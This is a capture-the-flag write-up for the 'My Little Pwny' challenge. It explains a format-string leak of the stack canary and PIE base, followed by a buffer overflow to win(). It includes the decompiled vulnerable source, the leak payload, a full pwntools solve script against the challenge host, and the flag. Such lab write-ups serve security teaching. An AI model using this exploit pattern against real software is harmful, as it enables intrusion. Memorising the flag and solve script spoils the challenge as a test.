Overview
The My Little Pwny
challenge involves exploiting a compiled c binary (pwny
) that contains a buffer overflow vulnerability and an exploitable printf
function. The goal is to execute the win()
function, which reads and prints the flag from a file.
Protections
Running checksec on the pwny binary shows us that we’re going to have to bypass all the normal modern protections, no executable stacks, unrandomized addresses, or canary free buffers today.
checksec --file=pwny
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 37 Symbols No 0 2 pwny
Binary Behavior
The binary calls the vulnerable name_pony function twice, giving us two opportunities to exploit the buffer overflow vulnerability with fgets(), however the second call does not print the input with printf(), so we have only one chance to leak values (without doing fun things with the vulnerabilities later)
Reversing the name_pony function should result in a decompilation that resembles this original source code
void name_pony(int index) {
char buffer[64];
printf("Enter your pony's name: ");
fgets(buffer, 128, stdin); // exploitable buffer overflow
// Strip the newline character if present
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
switch (index) {
case 0:
printf(buffer); //exploitable printf
printf(", that's beautiful!\n");
break;
case 1:
printf("That name is perfect, I dare not sully it by saying it outloud!\n");
break;
}
}
Sadly the main function is simply a wrapper to call name_pony twice, nothing interesting there.
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("You just got gifted with two ponies, what will you name them?\n");
printf("\nThe first one tramples out with a shiny coat of fur that radiates positive energy\n");
name_pony(0);
printf("\nThe second one prances around with a mane that glistens like the morning dew\n");
name_pony(1);
printf("\nEnjoy your ponies!\n");
return 0;
}
Also of note is an unused win function, this is where we want to get to solve the challenge.
int win() {
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
char flag[128];
if (fgets(flag, sizeof(flag), file) != NULL) {
printf("Flag: %s\n", flag);
} else {
perror("Error reading file");
}
fclose(file);
return 0;
}
Vulnerabilities
Buffer Overflow
In the name_pony
function, the fgets
function is used to read input into a buffer of size 64, but it allows up to 128 bytes to be read. This gives us a 64 byte buffer overflow, allowing us to overwrite the stack, including the return address. Of note, we do have a stack canary in the way of simply writing to the return pointer, and we also have PIE, so we can’t use absolute addresses.
Format String Vulnerability
The printf
function in name_pony
is called with user input directly, which can be exploited to leak memory addresses, exactly what we need to further abuse the buffer overflow vulnerability!
Exploitation Steps
Leaking the Canary and PIE Base Address
printf()
can be used to print arbitrary stack values, this is exactly what we need to leak a couple of values:
-
- We need to leak the Canary so we can properly overwrite the return address with the buffer overflow vulnerability
-
- We need to determine the base PIE address so we can actually jmp where we want in the binary.
The printf
syntax to print an arbitrary stack value is %x$p
where x
is the offset to the value we want to print. We enumerate through possible values and come up with the following two useful ones:
-
- Canary Leak: By using the format string vulnerability, we can leak the stack canary. The format string
%19$p
is used to print the canary value from the stack.
- Canary Leak: By using the format string vulnerability, we can leak the stack canary. The format string
-
- PIE Base Address Leak: Similarly,
%6$p
is used to leak a PIE address, which helps in calculating the base address of the binary. To determine the base address from our PIE address leak, we can open the binary in GDB, and leak the 6th value on the stack, and subtract the PIE base address (which can be gotten withpiebase
) to find our offset. In this case the offset is0x20f0
, so we simply subtract0x20f0
from our leaked value to determine the PIE base address whenever we run the exploit
- PIE Base Address Leak: Similarly,
Two Leaks, One Printf
We only have one call to printf, but we need to leak two values to abuse the buffer overflow, thankfully we can leak both values at once with a payload like %19$p-%6$p^
, which will allow us to separate the two values from the single printf
statement.
Constructing the Payload
With the leaked canary and PIE base address, we construct a payload to overwrite the return address with the address of the win()
function.
-
- Buffer Overflow: Fill the buffer with 72 bytes of padding to reach the canary.
-
- Canary: Insert the leaked canary value to bypass stack protection.
-
- Padding: Add 8 bytes of padding to reach the return address.
-
- Return Address: Overwrite the return address with the address of the
win()
function.
- Return Address: Overwrite the return address with the address of the
Solve Script
from pwn import * # Set up the binary and context binary = './pwny' elf = ELF(binary) context.binary = binary PIE_OFFSET = 0x20f0 CANARY_BUFFER_OFFSET = 72 #p = process(binary) p = remote('kubenode.mctf.io', 30012) p.recvuntil('positive energy') p.sendline(b'%19$p-%6$p^') leaks = p.recvuntil(b'!') canary = int(leaks.split(b'-')[0].split()[-1], 16) log.success(f'Leaked canary: {hex(canary)}') leaked_pie = int(int(leaks.split(b'-')[1].split(b'^')[0], 16)) log.success(f'Leaked pie address: {hex(leaked_pie)}') base_address = leaked_pie - PIE_OFFSET elf.address = base_address log.success(f"Base pie address: {hex(base_address)}") payload = flat( b"A" * CANARY_BUFFER_OFFSET, # Overflow buffer p64(canary), # Canary value b"B" * 8, # Padding to reach return address elf.symbols.win ) p.sendline(payload) print(p.recvall().split(b'Flag: ')[1].strip())
Flag
MetaCTF{l3ak_7h3_c4nary_p1e}